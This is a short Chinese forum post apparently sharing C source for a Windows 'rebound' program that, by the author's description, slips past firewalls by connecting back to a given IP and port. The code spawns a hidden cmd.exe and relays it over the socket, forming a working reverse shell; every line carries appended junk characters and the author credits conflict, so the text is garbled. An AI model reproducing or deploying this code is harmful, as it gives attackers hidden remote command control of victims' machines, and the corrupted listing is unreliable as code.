这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &23ss/
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/* ============================== zM8/s96h
Rebound port in Windows NT ?^G$;X7B
By wind,2006/7 a`h$lUb-
===============================*/ _!CvtUU0Vv
#include qed!C
#include K&Wv.}=V
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#pragma comment(lib,"wsock32.lib") }07<(,0n
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void OutputShell(); d'g{K]=tF
SOCKET sClient; *{;A\sL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @h7GTA \
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void main(int argc,char **argv) `X.=uG+m
{ v-r[~
WSADATA stWsaData; `>K k;`
int nRet; "'H7F,k'
SOCKADDR_IN stSaiClient,stSaiServer; rfZj8R&
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if(argc != 3) whg4o|p
{ ~RR_[t2Z
printf("Useage:\n\rRebound DestIP DestPort\n"); EH!EyNNb
return; Med"dHo7
} ss*2TE7
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]BS{,sI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BI]ut|Qw
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stSaiClient.sin_family = AF_INET; 3sg)]3jm2
stSaiClient.sin_port = htons(0); _I70qz8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KxTYc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3_1Io+uXk
{ M:Y!k<p
printf("Bind Socket Failed!\n"); YT 03>!B
return; '`goy%Wd
} CK`3
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stSaiServer.sin_family = AF_INET; ,w58n%)H
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;|$]Qq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A'AWuj\r2R
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5_tK3Q8?
{ u%IKM\
printf("Connect Error!"); ~PAbLSL*u
return; JU%yqXO
} 5tCq}]q#P
OutputShell(); m{yNnJ3O
} "y
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void OutputShell() Xi`U`7?D(=
{ [@FeRIu8
char szBuff[1024]; ^CZ|ci6bX
SECURITY_ATTRIBUTES stSecurityAttributes; uA}FuOE6
OSVERSIONINFO stOsversionInfo; ?KuJs9SM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [\M?8R$)
STARTUPINFO stStartupInfo; !
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char *szShell; PM?Ri^55<L
PROCESS_INFORMATION stProcessInformation; `
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unsigned long lBytesRead; }Yl8Q>t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BRok 89
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ORPl^n-
stSecurityAttributes.lpSecurityDescriptor = 0; eEZlVHM;O
stSecurityAttributes.bInheritHandle = TRUE; ]A<u eM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m=l3O:~J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kd4*Zab
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ps;o[gB@5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T^H ) lC#R
stStartupInfo.wShowWindow = SW_HIDE; 3$G25=eN
stStartupInfo.hStdInput = hReadPipe; 2F@<{v4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nz?BLO=
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GetVersionEx(&stOsversionInfo); F4{. 7BT
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switch(stOsversionInfo.dwPlatformId) \^W?
{ (']z\4o
case 1: exN#!&;
szShell = "command.com"; a|{<#<6n(
break; D~?*Xv]s~
default: n[S*gX0
szShell = "cmd.exe"; 7XC}C+
break; pQ`L=#WM
} 5<8>G?Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r|BKp,u9
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send(sClient,szMsg,77,0); w3|.4hS
while(1) hfa_M[#Q-
{ ' g!_Flk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NP`ll0s
if(lBytesRead) ?B:wV?-`
{ eOO*gM=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MP&4}De
send(sClient,szBuff,lBytesRead,0); U~@B%Msb
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} Fm~}A4
else mNB ]e5;N
{ %z_b/yG
lBytesRead=recv(sClient,szBuff,1024,0); 5*'N Q010
if(lBytesRead<=0) break; 6 FxndR;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KFG^vmrn
} UdgI<a~`k6
} Uy'ZL(2
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return; z#67rh{
}